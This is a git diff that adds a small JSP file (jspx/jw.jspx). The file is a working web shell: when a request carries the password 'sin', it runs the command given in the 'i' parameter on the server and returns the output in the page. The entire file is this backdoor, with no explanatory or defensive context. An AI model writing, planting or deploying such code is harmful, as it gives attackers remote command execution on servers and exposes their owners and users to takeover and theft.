diff --git a/jspx/jw.jspx b/jspx/jw.jspx new file mode 100644 index 0000000..8980e5b --- /dev/null +++ b/jspx/jw.jspx @@ -0,0 +1,15 @@ + + + + if("sin".equals(request.getParameter("pwd"))){ + java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); + int a = -1; + byte[] b = new byte[2048]; + out.print("<pre>"); + while((a=in.read(b))!=-1){ + out.println(new String(b)); + } + out.print("</pre>"); + } + +